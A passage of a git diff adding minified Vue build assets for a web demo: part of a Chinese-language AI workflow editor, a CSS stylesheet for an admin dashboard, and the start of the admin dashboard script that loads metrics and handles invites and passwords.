xt)),1),E("button",{type:"button",class:"wf-icon-btn wf-icon-btn--sm","aria-label":`移除到 ${p(L.value.next)} 的路由`,onClick:K},[E("span",{class:"icon",style:ae(ee(P(fe).x)),"aria-hidden":"true"},null,4)],8,uE)])])):(H(),W("div",cE,"终点阶段(无后续路由)")),f[53]||(f[53]=E("div",{class:"wf-panel__hint"},"从节点右侧连桩拖线到目标节点;已有出线时再拉新线会替换旧线。想分叉请添加分支节点",-1))]),E("div",dE,[_.value?(H(),W("div",fE,[f[55]||(f[55]=E("span",{class:"wf-confirm-row__text"},"删除后指向它的路由也会移除",-1)),E("button",{type:"button",class:"wf-btn wf-btn--danger-confirm",onClick:ce},"确认删除")])):(H(),W("button",{key:0,type:"button",class:"wf-btn wf-btn--danger-outline",onClick:f[19]||(f[19]=m=>_.value=!0)},[E("span",{class:"icon",style:ae(ee(P(fe).trash)),"aria-hidden":"true"},null,4),f[54]||(f[54]=E("span",null,"删除此节点",-1))]))])],64)):R.value?(H(),W(Se,{key:2},[E("div",hE,[E("div",gE,[f[56]||(f[56]=E("span",null,"审核属性",-1)),E("span",pE,ve(R.value.id),1)]),E("label",vE,[f[57]||(f[57]=E("span",{class:"wf-field__label"},"审核名称",-1)),Le(E("input",{"onUpdate:modelValue":f[20]||(f[20]=m=>R.value.name=m),class:"wf-input",type:"text"},null,512),[[Fe,R.value.name]])]),E("label",mE,[f[58]||(f[58]=E("span",{class:"wf-field__label"},"审核关注点",-1)),Le(E("textarea",{"onUpdate:modelValue":f[21]||(f[21]=m=>R.value.prompt=m),class:"wf-textarea",rows:"3",placeholder:"审核智能体检查什么(自然语言)"},null,512),[[Fe,R.value.prompt]])]),E("label",yE,[f[59]||(f[59]=E("span",{class:"wf-field__label"},"驳回上限(次)",-1)),E("input",{class:"wf-input",type:"text",inputmode:"numeric",value:R.value.maxRejects,onInput:re},null,40,wE),f[60]||(f[60]=E("span",{class:"wf-field__hint"},"超过上限后升级给用户处理(demo 仅记录数值)",-1))])]),E("div",_E,[f[61]||(f[61]=E("div",{class:"wf-panel__heading"},"通过路由",-1)),R.value.next?(H(),W("div",bE,[E("div",EE,[E("span",{class:"icon wf-route-row__icon--pass",style:ae(ee(P(fe).gitBranch)),"aria-hidden":"true"},null,4),E("span",xE,ve(p(R.value.next)),1),E("button",{type:"button",class:"wf-icon-btn wf-icon-btn--sm","aria-label":`移除到 ${p(R.value.next)} 的通过路由`,onClick:K},[E("span",{class:"icon",style:ae(ee(P(fe).x)),"aria-hidden":"true"},null,4)],8,$E)])])):(H(),W("div",kE,"通过即结束工作流")),f[62]||(f[62]=E("div",{class:"wf-panel__hint"},"审核通过后的去向,从菱形右侧连桩拖线(蓝线)",-1))]),E("div",NE,[f[63]||(f[63]=E("div",{class:"wf-panel__heading"},"驳回路由",-1)),R.value.rejectTo?(H(),W("div",SE,[E("div",CE,[E("span",{class:"icon wf-route-row__icon--back",style:ae(ee(P(fe).gitBranch)),"aria-hidden":"true"},null,4),E("span",ME,ve(p(R.value.rejectTo)),1),E("button",{type:"button",class:"wf-icon-btn wf-icon-btn--sm","aria-label":`移除到 ${p(R.value.rejectTo)} 的驳回路由`,onClick:Q},[E("span",{class:"icon",style:ae(ee(P(fe).x)),"aria-hidden":"true"},null,4)],8,IE)])])):(H(),W("div",TE,"必须连接驳回路由")),f[64]||(f[64]=E("div",{class:"wf-panel__hint"},"审核不通过时的回退目标,从菱形顶部或底部连桩拖线(红线;上下出口语义相同,按目标方位自动选向)",-1))]),E("div",OE,[_.value?(H(),W("div",AE,[f[66]||(f[66]=E("span",{class:"wf-confirm-row__text"},"删除后指向它的路由也会移除",-1)),E("button",{type:"button",class:"wf-btn wf-btn--danger-confirm",onClick:ce},"确认删除")])):(H(),W("button",{key:0,type:"button",class:"wf-btn wf-btn--danger-outline",onClick:f[22]||(f[22]=m=>_.value=!0)},[E("span",{class:"icon",style:ae(ee(P(fe).trash)),"aria-hidden":"true"},null,4),f[65]||(f[65]=E("span",null,"删除此节点",-1))]))])],64)):C.value?(H(),W(Se,{key:3},[E("div",DE,[E("div",PE,[f[67]||(f[67]=E("span",null,"分支属性",-1)),E("span",zE,ve(C.value.id),1)]),E("label",RE,[f[68]||(f[68]=E("span",{class:"wf-field__label"},"分支名称",-1)),Le(E("input",{"onUpdate:modelValue":f[23]||(f[23]=m=>C.value.name=m),class:"wf-input",type:"text"},null,512),[[Fe,C.value.name]])])]),E("div",BE,[E("div",VE,"出线("+ve(C.value.next.length)+")",1),C.value.next.length?(H(),W("div",HE,[(H(!0),W(Se,null,ot(C.value.next,m=>(H(),W("div",{key:m.target,class:"wf-route-item"},[E("div",LE,[E("span",{class:"icon",style:ae(ee(P(fe).gitBranch)),"aria-hidden":"true"},null,4),E("span",FE,ve(p(m.target)),1),E("button",{type:"button",class:"wf-icon-btn wf-icon-btn--sm","aria-label":`移除到 ${p(m.target)} 的出线`,onClick:I=>Z(m.target)},[E("span",{class:"icon",style:ae(ee(P(fe).x)),"aria-hidden":"true"},null,4)],8,YE)]),Le(E("input",{"onUpdate:modelValue":I=>m.condition=I,class:"wf-input wf-input--sm",type:"text",placeholder:"条件:当……时走这条路"},null,8,GE),[[Fe,m.condition]])]))),128))])):(H(),W("div",XE,"无出线(死端)")),f[69]||(f[69]=E("div",{class:"wf-panel__hint"},"从节点右侧连桩逐条拖线;1 入 n 出 = 分线,n 入 1 出 = 并线。多条出线时每条都要写条件,AI 汇报时按条件选择去向",-1))]),E("div",WE,[_.value?(H(),W("div",UE,[f[71]||(f[71]=E("span",{class:"wf-confirm-row__text"},"删除后指向它的路由也会移除",-1)),E("button",{type:"button",class:"wf-btn wf-btn--danger-confirm",onClick:ce},"确认删除")])):(H(),W("button",{key:0,type:"button",class:"wf-btn wf-btn--danger-outline",onClick:f[24]||(f[24]=m=>_.value=!0)},[E("span",{class:"icon",style:ae(ee(P(fe).trash)),"aria-hidden":"true"},null,4),f[70]||(f[70]=E("span",null,"删除此节点",-1))]))])],64)):X.value?(H(),W(Se,{key:4},[E("div",jE,[E("div",ZE,[E("span",null,ve(X.value.kind==="start"?"开始节点":"结束节点"),1),E("span",qE,ve(X.value.id),1)]),E("label",KE,[f[72]||(f[72]=E("span",{class:"wf-field__label"},"名称",-1)),Le(E("input",{"onUpdate:modelValue":f[25]||(f[25]=m=>X.value.name=m),class:"wf-input",type:"text"},null,512),[[Fe,X.value.name]])])]),X.value.kind==="start"?(H(),W("div",JE,[f[73]||(f[73]=E("div",{class:"wf-panel__heading"},"入口路由",-1)),X.value.next?(H(),W("div",QE,[E("div",ex,[E("span",{class:"icon",style:ae(ee(P(fe).gitBranch)),"aria-hidden":"true"},null,4),E("span",tx,ve(p(X.value.next)),1),E("button",{type:"button",class:"wf-icon-btn wf-icon-btn--sm","aria-label":`断开到 ${p(X.value.next)} 的入口路由`,onClick:K},[E("span",{class:"icon",style:ae(ee(P(fe).x)),"aria-hidden":"true"},null,4)],8,nx)])])):(H(),W("div",ox,"未连接(从开始节点右侧连桩拖线到首个节点)")),f[74]||(f[74]=E("div",{class:"wf-panel__hint"},"工作流从这里启动;开始节点只能有一个",-1))])):ke("",!0),E("div",ix,[_.value?(H(),W("div",rx,[f[76]||(f[76]=E("span",{class:"wf-confirm-row__text"},"删除后指向它的路由也会移除",-1)),E("button",{type:"button",class:"wf-btn wf-btn--danger-confirm",onClick:ce},"确认删除")])):(H(),W("button",{key:0,type:"button",class:"wf-btn wf-btn--danger-outline",onClick:f[26]||(f[26]=m=>_.value=!0)},[E("span",{class:"icon",style:ae(ee(P(fe).trash)),"aria-hidden":"true"},null,4),f[75]||(f[75]=E("span",null,"删除此节点",-1))]))])],64)):ke("",!0):(H(),W(Se,{key:0},[E("div",Yb,[f[45]||(f[45]=E("div",{class:"wf-panel__heading"},"工作流属性",-1)),E("label",Gb,[f[39]||(f[39]=E("span",{class:"wf-field__label"},"名称(唯一标识)",-1)),Le(E("input",{"onUpdate:modelValue":f[10]||(f[10]=m=>e.workflow.name=m),class:"wf-input",type:"text",spellcheck:"false"},null,512),[[Fe,e.workflow.name]])]),E("label",Xb,[f[40]||(f[40]=E("span",{class:"wf-field__label"},"描述",-1)),Le(E("input",{"onUpdate:modelValue":f[11]||(f[11]=m=>e.workflow.description=m),class:"wf-input",type:"text",placeholder:"激活选择时靠它辨认"},null,512),[[Fe,e.workflow.description]])]),E("div",Wb,[f[41]||(f[41]=E("span",{class:"wf-field__label"},"审核智能体取证能力",-1)),E("div",Ub,[E("button",{type:"button",class:Te(["wf-segment__item",{"wf-segment__item--active":e.workflow.reviewMode==="readonly"}]),onClick:f[12]||(f[12]=m=>e.workflow.reviewMode="readonly")}," 只读审核 ",2),E("button",{type:"button",class:Te(["wf-segment__item",{"wf-segment__item--active":e.workflow.reviewMode==="active"}]),onClick:f[13]||(f[13]=m=>e.workflow.reviewMode="active")}," 可调命令取证 ",2)]),f[42]||(f[42]=E("span",{class:"wf-field__hint"},"active 模式允许审核智能体执行只读命令核实成果",-1))]),E("label",jb,[f[43]||(f[43]=E("span",{class:"wf-field__label"},"单阶段最大轮数",-1)),E("input",{class:"wf-input",type:"text",inputmode:"numeric",value:e.workflow.maxStageRounds,onInput:ne},null,40,Zb)]),E("label",qb,[f[44]||(f[44]=E("span",{class:"wf-field__label"},"整体结束方式",-1)),Le(E("input",{"onUpdate:modelValue":f[14]||(f[14]=m=>e.workflow.endConditions=m),class:"wf-input",type:"text",placeholder:"例如:报告落盘且审核通过"},null,512),[[Fe,e.workflow.endConditions]])])]),E("div",Kb,[f[47]||(f[47]=E("div",{class:"wf-panel__heading"},"全局说明",-1)),E("label",Jb,[f[46]||(f[46]=E("span",{class:"wf-field__label"},"工作方式 / 验证方式 / 结束方式",-1)),Le(E("textarea",{"onUpdate:modelValue":f[15]||(f[15]=m=>e.workflow.body=m),class:"wf-textarea",rows:"8",spellcheck:"false"},null,512),[[Fe,e.workflow.body]])])])],64))])])]))}}),ax=Lt(sx,[["__scopeId","data-v-e385afa9"]]),lx={class:"wf-shell"},ux={key:2,class:"wf-shell__loading"},cx={key:3,class:"wf-shell__error",role:"alert"},dx=ye({__name:"WorkflowDemoShell",props:{routePath:{}},setup(e){const t=e;function n(v){if(!v.startsWith("workflow/"))return"";const x=v.slice(9).replace(/\/+$/,"");return x.endsWith("/edit")?x.slice(0,-5):x}const o=pe([]),i=pe(!1),r=pe(n(t.routePath)),s=pe(null),a=pe(""),l=ie(()=>r.value?"editor":"library");function u(v,x){a.value=v instanceof Error?v.message:x}async function c(){try{o.value=await Cb()}catch(v){u(v,"加载工作流列表失败")}finally{i.value=!0}}async function d(v){try{s.value=await wi(v),r.value=v,history.replaceState({},"",`/workflow/${v}`)}catch(x){u(x,"加载工作流失败")}}function h(){r.value="",s.value=null,history.replaceState({},"","/workflows"),c()}function g(v){const x=new Set(o.value.map(V=>V.name));if(!x.has(v))return v;let D=2;for(;x.has(`${v}-${D}`);)D+=1;return`${v}-${D}`}async function _(){const v=lb(g(`new-workflow-${Date.now().toString(36)}`));try{await Ui(v),await c(),await d(v.name)}catch(x){u(x,"新建工作流失败")}}async function b(v){try{const x=await wi(v),D=JSON.parse(JSON.stringify(x));D.name=g(`${v}-copy`),D.source="user",await Ui(D),await c()}catch(x){u(x,"复制工作流失败")}}async function S(v){try{if(await ta(v),r.value===v){h();return}await c()}catch(x){u(x,"删除工作流失败")}}async function $(){const v=s.value;if(v){if(v.name!==r.value){const x=r.value;r.value=v.name,history.replaceState({},"",`/workflow/${v.name}`);try{await ta(x)}catch{}}c()}}function N(){window.location.assign("/new")}return it(async()=>{if(await c(),r.value)try{s.value=await wi(r.value)}catch(v){u(v,"加载工作流失败"),h()}}),(v,x)=>(H(),W("div",lx,[l.value==="editor"&&s.value?(H(),Ce(ax,{key:0,workflow:s.value,onBack:h,onSave:$},null,8,["workflow"])):l.value==="library"&&i.value?(H(),Ce(Fu,{key:1,workflows:o.value,onOpen:d,onCreate:_,onDuplicate:b,onDelete:S,onExit:N},null,8,["workflows"])):(H(),W("div",ux,"加载中…")),a.value?(H(),W("div",cx,[E("span",null,ve(a.value),1),E("button",{type:"button",class:"wf-shell__error-close","aria-label":"关闭",onClick:x[0]||(x[0]=D=>a.value="")},"×")])):ke("",!0)]))}}),mx=Lt(dx,[["__scopeId","data-v-b5807ee2"]]);export{mx as default}; diff --git a/demo/static/dist/assets/_plugin-vue_export-helper.js b/demo/static/dist/assets/_plugin-vue_export-helper.js new file mode 100644 index 0000000..718edd3 --- /dev/null +++ b/demo/static/dist/assets/_plugin-vue_export-helper.js @@ -0,0 +1 @@ +const s=(t,r)=>{const o=t.__vccOpts||t;for(const[c,e]of r)o[c]=e;return o};export{s as _}; diff --git a/demo/static/dist/assets/admin.css b/demo/static/dist/assets/admin.css new file mode 100644 index 0000000..8833ea7 --- /dev/null +++ b/demo/static/dist/assets/admin.css @@ -0,0 +1 @@ +body{margin:0;background:#f7f3ea;font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,serif;color:#2a2013;overflow:hidden}#admin-app{min-height:100vh;height:100vh;padding:24px 32px;background:#f7f3ea;color:#2a2013;box-sizing:border-box}.admin-page[data-v-5d25bd99]{max-width:1400px;margin:0 auto;height:100%;display:flex;flex-direction:column;gap:16px}.admin-header[data-v-5d25bd99]{display:flex;justify-content:space-between;flex-wrap:wrap;gap:12px;align-items:center}.admin-header h1[data-v-5d25bd99]{margin:0;font-size:28px}.admin-header p[data-v-5d25bd99]{margin:4px 0 0;color:#6b5b44}.header-actions[data-v-5d25bd99]{display:flex;align-items:center;gap:12px}.header-actions label[data-v-5d25bd99]{display:flex;align-items:center;gap:6px;color:#5b4b35}.link-btn[data-v-5d25bd99]{padding:10px 14px;border-radius:12px;border:1px solid rgba(0,0,0,.12);background:#fff;color:#2a2013;text-decoration:none;font-weight:600}.link-btn[data-v-5d25bd99]:hover{background:#0000000a}button[data-v-5d25bd99]{border:none;border-radius:999px;padding:10px 18px;background:var(--highlight);color:#3b2f1d;font-weight:600;cursor:pointer;box-shadow:inset 0 -2px #bd5d3a40;transition:transform .15s ease,box-shadow .15s ease,background .2s ease}button[data-v-5d25bd99]:disabled{opacity:.6;cursor:not-allowed;box-shadow:none}button[data-v-5d25bd99]:not(:disabled):hover{transform:translateY(-1px);background:var(--accent);box-shadow:0 8px 16px #bd5d3a40}.banner-error[data-v-5d25bd99]{padding:12px 16px;border-radius:14px;border:1px solid rgba(189,93,58,.5);background:#bd5d3a26;color:#7c3418}.admin-layout[data-v-5d25bd99]{display:flex;gap:20px;flex:1;min-height:0}.admin-sidebar[data-v-5d25bd99]{width:220px;flex-shrink:0;background:#ffffffd9;border-radius:24px;border:1px solid rgba(118,103,84,.35);padding:16px;display:flex;flex-direction:column;gap:10px}.sidebar-tab[data-v-5d25bd99]{width:100%;padding:10px 12px;border-radius:14px;border:1px solid transparent;background:#ffffffb3;color:#3c2f1d;text-align:left}.sidebar-tab.active[data-v-5d25bd99]{background:#da775633;color:#3c2f1d;border-color:#bd5d3a8c;box-shadow:0 10px 22px #bd5d3a2e;font-weight:600}.admin-main[data-v-5d25bd99]{flex:1;min-height:0;overflow-y:auto;padding-right:8px}.panel[data-v-5d25bd99]{background:#f6ecda;border-radius:28px;padding:24px;border:1px solid rgba(118,103,84,.35);box-shadow:var(--shadow-card);color:#23170b}.metrics-grid[data-v-5d25bd99]{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:16px}.metric-card[data-v-5d25bd99]{background:#fffffff2;border-radius:22px;padding:18px;border:1px solid rgba(118,103,84,.4)}.metric-card h3[data-v-5d25bd99]{margin:0;font-size:13px;color:var(--text-secondary);letter-spacing:.08em}.metric-card strong[data-v-5d25bd99]{font-size:28px;display:block;margin-top:8px}.metric-card span[data-v-5d25bd99]{color:#574630;font-size:13px}.stats-row[data-v-5d25bd99]{display:flex;flex-wrap:wrap;gap:10px;margin-bottom:18px;color:#5c4a32}.stats-row span[data-v-5d25bd99]{background:#da775633;padding:6px 12px;border-radius:999px}.token-summary[data-v-5d25bd99]{display:grid;grid-template-columns:repeat(auto-fit,minmax(180px,1fr));gap:12px;margin-bottom:18px}.token-card[data-v-5d25bd99]{border-radius:18px;padding:16px;background:#ffffffeb;border:1px solid rgba(44,32,19,.1);box-shadow:inset 0 1px #fff9}.token-card p[data-v-5d25bd99]{margin:0;font-size:12px;letter-spacing:.08em;text-transform:uppercase;color:var(--text-secondary)}.token-card strong[data-v-5d25bd99]{display:block;margin-top:10px;font-size:22px;color:#1f160c}.token-breakdown[data-v-5d25bd99]{border:1px solid rgba(118,103,84,.25);border-radius:20px;padding:18px;background:#ffffffdb;margin-bottom:18px}.token-breakdown-header[data-v-5d25bd99]{display:flex;justify-content:space-between;align-items:center;gap:12px;flex-wrap:wrap;margin-bottom:12px}.token-breakdown-header h3[data-v-5d25bd99]{margin:0;font-size:18px}.token-breakdown-header span[data-v-5d25bd99]{font-size:12px;color:var(--text-secondary)}.token-table-wrapper[data-v-5d25bd99]{max-height:320px;overflow:auto}.token-table[data-v-5d25bd99]{width:100%;border-collapse:collapse;font-size:13px}.token-table th[data-v-5d25bd99],.token-table td[data-v-5d25bd99]{padding:10px 8px;border-bottom:1px solid rgba(118,103,84,.15);text-align:left}.token-table th[data-v-5d25bd99]{font-size:12px;color:#4c3a24;letter-spacing:.08em;text-transform:uppercase}.token-table td strong[data-v-5d25bd99]{font-size:14px;color:#2c1f12}.token-empty[data-v-5d25bd99]{margin:0;color:var(--text-secondary);font-size:13px}.usage-leaders[data-v-5d25bd99]{display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:14px}.leader-card[data-v-5d25bd99]{border:1px solid rgba(118,103,84,.18);border-radius:18px;padding:14px;background:#ffffffbf}.leader-card h3[data-v-5d25bd99]{margin:0 0 10px;color:var(--text-secondary);font-size:14px}.leader-card ul[data-v-5d25bd99]{margin:0;padding:0;list-style:none;display:flex;flex-direction:column;gap:6px}.leader-card li[data-v-5d25bd99]{display:flex;justify-content:space-between;font-size:13px}.leader-card .muted[data-v-5d25bd99]{color:var(--text-muted)}.table-wrapper[data-v-5d25bd99]{overflow-x:auto}table[data-v-5d25bd99]{width:100%;border-collapse:collapse;font-size:13px}thead[data-v-5d25bd99]{background:#fff8eed9}th[data-v-5d25bd99],td[data-v-5d25bd99]{padding:12px;border-bottom:1px solid rgba(118,103,84,.18);text-align:left}th[data-v-5d25bd99]{color:#4f3f2a;font-weight:600;font-size:12px;letter-spacing:.05em}.status-badge[data-v-5d25bd99]{padding:4px 10px;border-radius:999px;font-size:12px;font-weight:600}.status-badge.online[data-v-5d25bd99]{background:#76b0862e;color:var(--state-success)}.status-badge.offline[data-v-5d25bd99]{background:#796d5e33;color:#5b4d3b}.status-badge.warning[data-v-5d25bd99]{background:#d9984533;color:var(--state-warning)}.status-badge.danger[data-v-5d25bd99]{background:#bd5d3a2e;color:var(--accent-strong)}.progress-bar[data-v-5d25bd99]{height:6px;border-radius:999px;background:#796d5e1f;margin-top:6px}.progress-bar span[data-v-5d25bd99]{display:block;height:100%;background:linear-gradient(90deg,var(--highlight),var(--accent))}.upload-feed[data-v-5d25bd99]{list-style:none;margin:0;padding:0;display:flex;flex-direction:column;gap:12px}.upload-item[data-v-5d25bd99]{padding:12px 16px;border-radius:16px;border:1px solid rgba(118,103,84,.3);background:#ffffffe0;display:flex;flex-wrap:wrap;gap:12px;justify-content:space-between}.upload-meta[data-v-5d25bd99]{display:flex;gap:10px;flex-wrap:wrap;color:var(--text-secondary);font-size:12px}.invite-grid[data-v-5d25bd99]{display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:12px}.invite-manage[data-v-5d25bd99]{margin:10px 0 14px;display:flex;flex-wrap:wrap;align-items:center;gap:10px}.invite-input[data-v-5d25bd99]{min-width:180px;height:38px;border-radius:10px;border:1px solid rgba(118,103,84,.35);background:#ffffffeb;padding:0 10px;box-sizing:border-box}.invite-input.short[data-v-5d25bd99]{min-width:120px;width:120px}.invite-check[data-v-5d25bd99]{display:inline-flex;align-items:center;gap:6px;color:var(--text-secondary);font-size:13px}.invite-card[data-v-5d25bd99]{border:1px solid rgba(118,103,84,.3);border-radius:16px;padding:14px;background:#ffffffe6;box-shadow:inset 0 1px #ffffff80}.invite-card h4[data-v-5d25bd99]{margin:0 0 6px}.invite-card span[data-v-5d25bd99]{color:var(--text-secondary);font-size:13px}.invite-actions[data-v-5d25bd99]{margin-top:10px;display:flex;gap:8px}.mini-btn[data-v-5d25bd99]{border-radius:10px;padding:6px 10px;font-size:12px}.mini-btn.danger[data-v-5d25bd99]{background:#bd5d3a33;color:#7c3418;box-shadow:none}.small[data-v-5d25bd99]{font-size:13px}.admin-loading[data-v-5d25bd99]{min-height:60vh;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:16px;color:var(--text-secondary)}.spinner[data-v-5d25bd99]{width:48px;height:48px;border-radius:50%;border:4px solid rgba(0,0,0,.12);border-top-color:#050505;border-right-color:#050505;border-bottom-color:#f4f4f4;border-left-color:#f4f4f4;background:transparent;animation:spin-5d25bd99 1s linear infinite}@keyframes spin-5d25bd99{to{transform:rotate(360deg)}}.admin-error[data-v-5d25bd99]{background:#bd5d3a26;border:1px solid rgba(189,93,58,.45);border-radius:16px;padding:18px;color:#7d341a;display:flex;flex-direction:column;gap:8px;align-items:flex-start}.fade-enter-active[data-v-5d25bd99],.fade-leave-active[data-v-5d25bd99]{transition:opacity .15s ease}.fade-enter-from[data-v-5d25bd99],.fade-leave-to[data-v-5d25bd99]{opacity:0}@media (max-width: 900px){#admin-app{padding:16px}.admin-layout[data-v-5d25bd99]{flex-direction:column}.admin-sidebar[data-v-5d25bd99]{width:100%;flex-direction:row;flex-wrap:wrap}.sidebar-tab[data-v-5d25bd99]{flex:1;text-align:center}}.password-form[data-v-5d25bd99]{display:flex;flex-direction:column;gap:16px;max-width:480px;margin-top:12px}.password-field[data-v-5d25bd99]{display:flex;flex-direction:column;gap:6px}.password-field label[data-v-5d25bd99]{font-size:13px;color:var(--text-secondary);font-weight:600}.password-select[data-v-5d25bd99],.password-input[data-v-5d25bd99]{width:100%;box-sizing:border-box;padding:12px 14px;border-radius:12px;border:1px solid rgba(44,32,19,.2);font-size:14px;background:#ffffffeb}.user-search-wrapper[data-v-5d25bd99]{position:relative}.user-search-trigger[data-v-5d25bd99]{display:flex;align-items:center;justify-content:space-between;gap:8px;padding:12px 14px;border-radius:12px;border:1px solid rgba(44,32,19,.2);background:#ffffffeb;cursor:pointer;min-height:44px;box-sizing:border-box;transition:border-color .15s ease}.user-search-trigger[data-v-5d25bd99]:hover{border-color:#2c201366}.user-search-trigger.open[data-v-5d25bd99]{border-color:#bd5d3a80;border-radius:12px 12px 0 0}.user-search-trigger.filled[data-v-5d25bd99]{border-color:#2c201359}.user-search-selected[data-v-5d25bd99]{display:flex;align-items:center;gap:8px;overflow:hidden}.user-search-selected strong[data-v-5d25bd99]{font-size:14px;flex-shrink:0}.user-search-selected .user-search-email[data-v-5d25bd99]{font-size:12px;color:var(--text-secondary);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.user-search-placeholder[data-v-5d25bd99]{color:#9a8b7a;font-size:14px}.user-search-arrow[data-v-5d25bd99]{font-size:12px;color:var(--text-secondary);transition:transform .15s ease;flex-shrink:0}.user-search-trigger.open .user-search-arrow[data-v-5d25bd99]{transform:rotate(180deg)}.user-search-dropdown[data-v-5d25bd99]{position:absolute;top:100%;left:0;right:0;background:#fff;border:1px solid rgba(189,93,58,.5);border-top:none;border-radius:0 0 12px 12px;z-index:100;box-shadow:0 12px 32px #0000001f;overflow:hidden}.user-search-input[data-v-5d25bd99]{width:100%;box-sizing:border-box;padding:10px 14px;border:none;border-bottom:1px solid rgba(118,103,84,.15);font-size:13px;outline:none;background:#fffffff2}.user-search-input[data-v-5d25bd99]::placeholder{color:#b0a392}.user-search-list[data-v-5d25bd99]{max-height:220px;overflow-y:auto}.user-search-item[data-v-5d25bd99]{display:flex;align-items:center;gap:8px;padding:10px 14px;cursor:pointer;transition:background .1s ease}.user-search-item[data-v-5d25bd99]:hover{background:#da775614}.user-search-item.active[data-v-5d25bd99]{background:#da775624}.user-search-name[data-v-5d25bd99]{font-size:14px;font-weight:600;flex-shrink:0}.user-search-item .user-search-email[data-v-5d25bd99]{font-size:12px;color:var(--text-secondary);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.user-search-role[data-v-5d25bd99]{font-size:11px;padding:2px 6px;border-radius:6px;background:#bd5d3a26;color:#7c3418;flex-shrink:0;margin-left:auto}.user-search-empty[data-v-5d25bd99]{padding:16px;text-align:center;color:var(--text-secondary);font-size:13px}.password-actions[data-v-5d25bd99]{display:flex;gap:10px;align-items:center}.password-actions .ghost-btn[data-v-5d25bd99]{background:transparent;border:1px dashed rgba(44,32,19,.35);padding:10px 14px;border-radius:12px;cursor:pointer;box-shadow:none;color:var(--text-secondary)}.password-actions .ghost-btn[data-v-5d25bd99]:hover:not(:disabled){background:#0000000a;transform:none}.password-success[data-v-5d25bd99]{color:var(--state-success);margin:0;font-weight:600}.password-error-msg[data-v-5d25bd99]{color:#b5473d;margin:0} diff --git a/demo/static/dist/assets/admin.js b/demo/static/dist/assets/admin.js new file mode 100644 index 0000000..b8f2b7f --- /dev/null +++ b/demo/static/dist/assets/admin.js @@ -0,0 +1 @@ +import{d as Ze,w as $e,o as es,a as ss,b as a,c as o,g as e,u as Y,e as ts,f as c,t as l,h as O,v as Ee,i as Re,F as p,r as h,n as E,q as ns,s as ls,y as as,j as ie,z as xe,T as os,k as i,l as d,m as rs}from"./runtime-dom.esm-bundler.js";import{S as us,u as is}from"./SecondaryGate.js";import{_ as ds}from"./_plugin-vue_export-helper.js";const cs={key:0,class:"admin-loading"},vs={key:1,class:"admin-page"},ps={class:"admin-header"},hs={class:"header-actions"},fs=["disabled"],ms={key:1,class:"banner-error"},_s={key:2,class:"admin-layout"},ys={class:"admin-sidebar"},ks=["onClick"],gs={class:"admin-main"},bs={key:"overview",class:"panel"},ws={class:"metrics-grid"},Ss={key:"usage",class:"panel"},Ts={class:"stats-row"},Cs={class:"token-summary"},Ns={class:"token-card"},$s={class:"token-card"},Es={class:"token-card"},Rs={class:"token-breakdown"},xs={key:0,class:"token-table-wrapper"},Is={class:"token-table"},Us={key:1,class:"token-empty"},Bs={class:"usage-leaders"},Ms={key:0,class:"muted"},Ps={key:"users",class:"panel"},Vs={class:"table-wrapper"},Fs={key:0},js={class:"subtext"},Os={class:"progress-bar"},Ds={key:"containers",class:"panel"},Ls={class:"table-wrapper"},As={key:0},Xs={key:"uploads",class:"panel"},zs={class:"stats-row"},Js={class:"stats-row"},Ks={key:0},qs={class:"upload-feed"},Gs={key:0,class:"upload-item"},Qs={class:"upload-meta"},Ws={class:"upload-meta"},Hs={key:0,class:"status-badge danger"},Ys={key:"invites",class:"panel"},Zs={class:"stats-row"},et={class:"invite-manage"},st=["disabled"],tt=["disabled"],nt={class:"invite-check"},lt=["disabled"],at=["disabled"],ot={key:0,class:"secondary-error"},rt={class:"invite-grid"},ut={key:0,class:"invite-card"},it={class:"invite-actions"},dt=["disabled","onClick"],ct=["disabled","onClick"],vt={key:"passwords",class:"panel"},pt={class:"password-form"},ht={class:"password-field"},ft={key:0,class:"user-search-selected"},mt={class:"user-search-email"},_t={key:1,class:"user-search-placeholder"},yt={key:0,class:"user-search-dropdown"},kt={class:"user-search-list"},gt=["onClick"],bt={class:"user-search-name"},wt={class:"user-search-email"},St={key:0,class:"user-search-role"},Tt={key:0,class:"user-search-empty"},Ct={class:"password-field"},Nt=["disabled"],$t={class:"password-actions"},Et=["disabled"],Rt=["disabled"],xt={key:0,class:"password-success"},It={key:1,class:"password-error-msg"},Ut={key:3,class:"admin-error"},Bt=Ze({__name:"AdminDashboardApp",setup(Pt){const{verified:R,configured:Ie,loading:Ue,error:Be,check:he,verify:Me}=is(),x=i(!0),Z=i(!1),w=i(null),de=i(null),ee=i(null),se=i(!0),f=i("overview");let m;const v=i(!1),_=i(null),te=i(""),ne=i("1"),D=i(!1),y=i(""),I=i(""),U=i(!1),B=i(""),M=i(""),L=i(""),S=i(!1),ce=i(null),fe=i(null),Pe=[{id:"overview",label:"系统总览"},{id:"usage",label:"配额趋势"},{id:"users",label:"用户"},{id:"containers",label:"容器"},{id:"uploads",label:"上传审计"},{id:"invites",label:"邀请码"},{id:"passwords",label:"密码管理"}],Ve=d(()=>x.value&&!w.value),k=async(t=!1)=>{if(!R.value){x.value=!1;return}t?Z.value=!0:w.value||(x.value=!0);try{const s=await fetch("/api/admin/dashboard",{credentials:"same-origin"});if(!s.ok)throw new Error(`请求失败:${s.status}`);const r=await s.json();if(!r.success)throw new Error(r.error||"未知错误");w.value=r.data,de.value=null,ee.value=null}catch(s){const r=s instanceof Error?s.message:String(s);w.value?ee.value=r:de.value=r}finally{t&&(Z.value=!1),w.value||(x.value=!1)}},le=()=>{m&&(clearInterval(m),m=void 0),se.value&&R.value&&(m=window.setInterval(()=>k(!0),3e4))},Fe=()=>k(!0),je=()=>k(!1),ae=async()=>{const t=await fetch("/api/csrf-token",{credentials:"same-origin"});if(!t.ok)throw new Error(`获取 CSRF Token 失败:${t.status}`);const s=await t.json(),r=s==null?void 0:s.token;if(!r||typeof r!="string")throw new Error("获取 CSRF Token 失败:响应无 token");return r},me=t=>{const s=String(t??"").trim().toLowerCase();if(!s||s==="unlimited"||s==="null"||s==="none"||s==="不限"||s==="无限制")return null;const r=Number(s);if(!Number.isFinite(r)||r<0||!Number.isInteger(r))throw new Error("剩余次数必须是大于等于 0 的整数,或留空表示不限次数");return r},Oe=async()=>{const 